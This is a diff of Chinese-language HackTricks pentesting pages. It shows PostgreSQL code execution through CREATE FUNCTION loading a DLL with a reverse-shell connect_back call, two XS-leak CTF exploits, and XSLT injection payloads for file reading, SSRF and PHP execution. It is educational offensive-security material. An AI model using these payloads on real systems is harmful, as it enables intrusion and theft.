一个显著的漏洞来自于 `CREATE FUNCTION` 命令,它 **允许目录遍历** 进入数据目录。因此,经过身份验证的攻击者可以 **利用这种遍历** 将共享库文件写入数据目录,然后 **加载它**。此漏洞使攻击者能够执行任意代码,实现系统上的本地代码执行。
|
||||
|
||||
#### 攻击流程
|
||||
|
||||
首先,您需要**使用大对象上传dll**。您可以在这里看到如何操作:
|
||||
首先,您需要 **使用大型对象上传 dll**。您可以在这里查看如何操作:
|
||||
|
||||
{% content-ref url="big-binary-files-upload-postgresql.md" %}
|
||||
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
一旦您已经将扩展上传到数据目录(在此示例中命名为poc.dll),您可以使用以下命令加载它:
|
||||
一旦您将扩展(在此示例中名为 poc.dll)上传到数据目录,您可以使用以下命令加载它:
|
||||
```c
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_请注意,您无需附加`.dll`扩展名,因为`create`函数会自动添加。_
|
||||
_注意,您不需要附加 `.dll` 扩展名,因为创建函数会自动添加它。_
|
||||
|
||||
要获取更多信息,请**阅读**[**此处的原始出版物**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
|
||||
在该出版物中,[**这是用于生成postgres扩展的代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c)(_要了解如何编译postgres扩展,请阅读以前的任何版本_)。\
|
||||
在同一页中,提供了用于自动化此技术的**利用**:
|
||||
有关更多信息,请**阅读**[**原始出版物**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
|
||||
在该出版物中,**这是**[**用于生成 postgres 扩展的代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_要了解如何编译 postgres 扩展,请阅读之前的任何版本_).\
|
||||
在同一页面上,**提供了自动化**此技术的**利用**:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
|
@ -327,19 +332,22 @@ print("(+) for a db cleanup only, run the following sql:")
|
|||
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
||||
print(" drop function connect_back(text, integer);")
|
||||
```
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
|
||||
* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||||
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或者 [**电报群**](https://t.me/peass) 或者在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,35 @@
|
|||
# 连接池按目标示例
|
||||
# Connection Pool by Destination Example
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中做广告**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
在[**这个利用**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html)中,[**@terjanq**](https://twitter.com/terjanq)提出了另一种解决方案,用于下一页中提到的挑战:
|
||||
在 [**这个漏洞**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html) 中, [**@terjanq**](https://twitter.com/terjanq) 提出了另一个解决方案,针对以下页面中提到的挑战:
|
||||
|
||||
{% content-ref url="connection-pool-by-destination-example.md" %}
|
||||
[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
让我们看看这个利用是如何工作的:
|
||||
让我们看看这个漏洞是如何工作的:
|
||||
|
||||
* 攻击者将注入一个带有尽可能多的**`<img`**标签加载**`/js/purify.js`**的注释(超过6个以阻止来源)。
|
||||
* 然后,攻击者将**删除**索引为1的**注释**。
|
||||
* 然后,攻击者将\[使**机器人访问页面**以触发剩余注释\]并将发送一个对**`victim.com/js/purify.js`**的**请求**,然后将**计时**。
|
||||
* 如果时间**更长**,则注入在**剩余注释**中,如果时间**更短**,则标志在其中。
|
||||
* 攻击者将注入一个包含尽可能多的 **`<img`** 标签 **加载** **`/js/purify.js`** 的备注(超过 6 个以阻止来源)。
|
||||
* 然后,攻击者将 **删除** 索引为 1 的 **备注**。
|
||||
* 然后,攻击者将 \[使 **机器人访问页面** 以获取剩余的备注\] 并将发送一个 **请求** 到 **`victim.com/js/purify.js`**,他将 **计时**。 
|
||||
* 如果时间 **更长**,则 **注入** 在留下的 **备注** 中,如果时间 **更短**,则 **标志** 在那里。
|
||||
|
||||
{% hint style="info" %}
|
||||
说实话,阅读脚本时,我错过了**攻击者让机器人加载页面以触发img标签**的某些部分,我在代码中没有看到类似的内容
|
||||
老实说,阅读脚本时我错过了一部分,**攻击者使机器人加载页面以触发 img 标签**,我在代码中没有看到类似的内容。
|
||||
{% endhint %}
|
||||
```html
|
||||
<html>
|
||||
|
@ -120,14 +123,17 @@ break;
|
|||
</html>
|
||||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,38 @@
|
|||
# 事件循环阻塞 + 懒加载图片
|
||||
# Event Loop Blocking + Lazy images
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
在[**这个利用**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45)中,[**@aszx87410**](https://twitter.com/aszx87410)通过HTML注入混合了**懒加载图片侧信道**技术和一种**事件循环阻塞技术**来泄露字符。
|
||||
在 [**这个漏洞**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45) 中,[**@aszx87410**](https://twitter.com/aszx87410) 通过 HTML 注入混合了 **懒加载图像侧信道** 技术和某种 **事件循环阻塞技术** 来泄露字符。
|
||||
|
||||
这是一个用于CTF挑战的**不同利用**,已经在以下页面中进行了评论。查看更多关于挑战的信息:
|
||||
这是一个 **不同的漏洞**,用于 CTF 挑战,已经在以下页面中评论过。请查看以获取有关挑战的更多信息:
|
||||
|
||||
{% content-ref url="connection-pool-example.md" %}
|
||||
[connection-pool-example.md](connection-pool-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
这个利用的思路是:
|
||||
这个漏洞背后的想法是:
|
||||
|
||||
* 帖子按字母顺序加载
|
||||
* **攻击者**可以**注入**一个以**"A"**开头的**帖子**,然后一些**HTML标签**(如一个大的**`<canvas`**)将填满大部分**屏幕**,并且一些最终的**`<img lazy`标签**用于加载内容。
|
||||
* 如果**攻击者**注入的是以"z"开头的相同帖子而不是"A"。带有**标志**的**帖子**将首先出现,然后**注入的**帖子将以初始"z"和**大**的**canvas**出现。因为带有标志的帖子首先出现,第一个canvas将占据整个屏幕,而注入的最终**`<img lazy`**标签不会在屏幕上显示,因此它们**不会被加载**。
|
||||
* 然后,在**机器人**访问页面时,**攻击者**将**发送获取请求**。 
|
||||
* 如果在帖子中注入的**图片**正在**加载**,这些**获取**请求将花费**更长时间**,因此攻击者知道**帖子在标志之前**(按字母顺序)。
|
||||
* 如果**获取**请求**快速**,这意味着**帖子**在**标志之后**按字母顺序排列。
|
||||
* 一个 **攻击者** 可以 **注入** 一个以 **"A"** 开头的 **帖子**,然后一些 **HTML 标签**(如一个大的 **`<canvas`**)将占据大部分 **屏幕**,以及一些最终的 **`<img lazy` 标签** 来加载内容。
|
||||
* 如果攻击者注入的帖子是以 "z" 开头的同一个帖子,带有 **标志** 的 **帖子** 将会 **首先出现**,然后 **注入的** **帖子** 将以初始 "z" 和 **大** **canvas** 出现。由于带有标志的帖子首先出现,第一个 canvas 将占据整个屏幕,最终注入的 **`<img lazy`** 标签将 **不会在** 屏幕上 **显示**,因此它们 **不会被加载**。
|
||||
* 然后,**当** 机器人 **访问** 页面时,**攻击者** 将 **发送获取请求**。 
|
||||
* 如果注入的 **图像** 正在 **加载**,这些 **获取** 请求将需要 **更长时间**,因此攻击者知道 **帖子在标志之前**(按字母顺序)。
|
||||
* 如果 **获取** 请求是 **快速的**,这意味着 **帖子** 在标志 **之后**(按字母顺序)。
|
||||
|
||||
让我们来看看代码:
|
||||
让我们检查代码:
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
@ -150,14 +153,17 @@ resolve(isFound)
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# XSLT 服务器端注入(可扩展样式表语言转换)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在 HackTricks 上看到您的**公司广告**吗? 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
XSLT 是一种用于将 XML 文档转换为不同格式的技术。它有三个版本:1、2 和 3,其中版本 1 是最常用的。转换过程可以在服务器端或浏览器内执行。
|
||||
XSLT 是一种用于将 XML 文档转换为不同格式的技术。它有三个版本:1、2 和 3,其中版本 1 是最常用的。转换过程可以在服务器上或浏览器中执行。
|
||||
|
||||
最常用的框架包括:
|
||||
|
||||
- 来自 Gnome 的 **Libxslt**,
|
||||
- 来自 Apache 的 **Xalan**,
|
||||
- 来自 Saxonica 的 **Saxon**。
|
||||
- **Gnome 的 Libxslt**,
|
||||
- **Apache 的 Xalan**,
|
||||
- **Saxonica 的 Saxon**。
|
||||
|
||||
为了利用与 XSLT 相关的漏洞,需要在服务器端存储 xsl 标签,然后访问该内容。有关此类漏洞的示例已在以下来源中记录:[https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)。
|
||||
要利用与 XSLT 相关的漏洞,必须将 xsl 标签存储在服务器端,然后访问该内容。以下来源记录了此类漏洞的示例:[https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||||
|
||||
## 示例 - 教程
|
||||
```bash
|
||||
|
@ -69,7 +72,7 @@ sudo apt-get install libsaxonb-java libsaxon-java
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
执行:
|
||||
执行:
|
||||
```xml
|
||||
saxonb-xslt -xsl:xsl.xsl xml.xml
|
||||
|
||||
|
@ -91,7 +94,7 @@ Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### 指纹识别
|
||||
### 指纹
|
||||
|
||||
{% code title="detection.xsl" %}
|
||||
```xml
|
||||
|
@ -157,8 +160,6 @@ man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
|||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
```
|
||||
### SSRF
|
||||
|
||||
### 服务器端请求伪造
|
||||
```xml
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||||
<xsl:include href="http://127.0.0.1:8000/xslt"/>
|
||||
|
@ -168,7 +169,7 @@ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
|||
```
|
||||
### 版本
|
||||
|
||||
根据使用的XSLT版本,可能会有更多或更少的功能:
|
||||
根据使用的 XSLT 版本,可能会有更多或更少的功能:
|
||||
|
||||
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
|
||||
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
|
||||
|
@ -205,13 +206,11 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
## SSRF
|
||||
|
||||
## 服务器端请求伪造
|
||||
```xml
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
|
||||
</esi:include>
|
||||
```
|
||||
## JavaScript注入
|
||||
## Javascript 注入
|
||||
```xml
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="/">
|
||||
|
@ -219,7 +218,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
|||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
## 目录列表(PHP)
|
||||
## 目录列表 (PHP)
|
||||
|
||||
### **Opendir + readdir**
|
||||
```xml
|
||||
|
@ -238,7 +237,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
|||
<xsl:value-of select="php:function('readdir')"/> -
|
||||
</xsl:template></xsl:stylesheet>
|
||||
```
|
||||
### **断言(var_dump + scandir + false)**
|
||||
### **断言 (var\_dump + scandir + false)**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||||
|
@ -285,7 +284,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
|||
&passwd;
|
||||
</xsl:template>
|
||||
```
|
||||
### **内部(PHP函数)**
|
||||
### **内部 (PHP函数)**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||||
|
@ -326,7 +325,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
|||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
### **Xalan-J扩展**
|
||||
### **Xalan-J 扩展**
|
||||
```xml
|
||||
<xsl:template match="/">
|
||||
<redirect:open file="local_file.txt"/>
|
||||
|
@ -334,9 +333,9 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
|||
<redirect:close file="loxal_file.txt"/>
|
||||
</xsl:template>
|
||||
```
|
||||
其他写入PDF文件的方法
|
||||
其他写入 PDF 文件的方法
|
||||
|
||||
## 包含外部XSL
|
||||
## 包含外部 XSL
|
||||
```xml
|
||||
<xsl:include href="http://extenal.web/external.xsl"/>
|
||||
```
|
||||
|
@ -368,13 +367,15 @@ xmlns:php="http://php.net/xsl" >
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### **使用其他框架在PDF中执行代码**
|
||||
执行代码使用其他框架在 PDF 中
|
||||
|
||||
**在这个页面,您可以找到其他语言中RCE的示例:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#,Java,PHP)**
|
||||
### **更多语言**
|
||||
|
||||
## **从类中访问PHP静态函数**
|
||||
**在此页面中,您可以找到其他语言中的 RCE 示例:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
|
||||
|
||||
以下函数将调用类XSL的静态方法`stringToUrl`:
|
||||
## **从类中访问 PHP 静态函数**
|
||||
|
||||
以下函数将调用类 XSL 的静态方法 `stringToUrl`:
|
||||
```xml
|
||||
<!--- More complex test to call php class function-->
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
|
||||
|
@ -389,28 +390,33 @@ version="1.0">
|
|||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
(示例来自 [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
|
||||
|
||||
## 更多有效载荷
|
||||
* 查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||||
* 查看 [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||||
|
||||
## **暴力检测列表**
|
||||
## **暴力破解检测列表**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||||
|
||||
## **参考资料**
|
||||
## **参考文献**
|
||||
|
||||
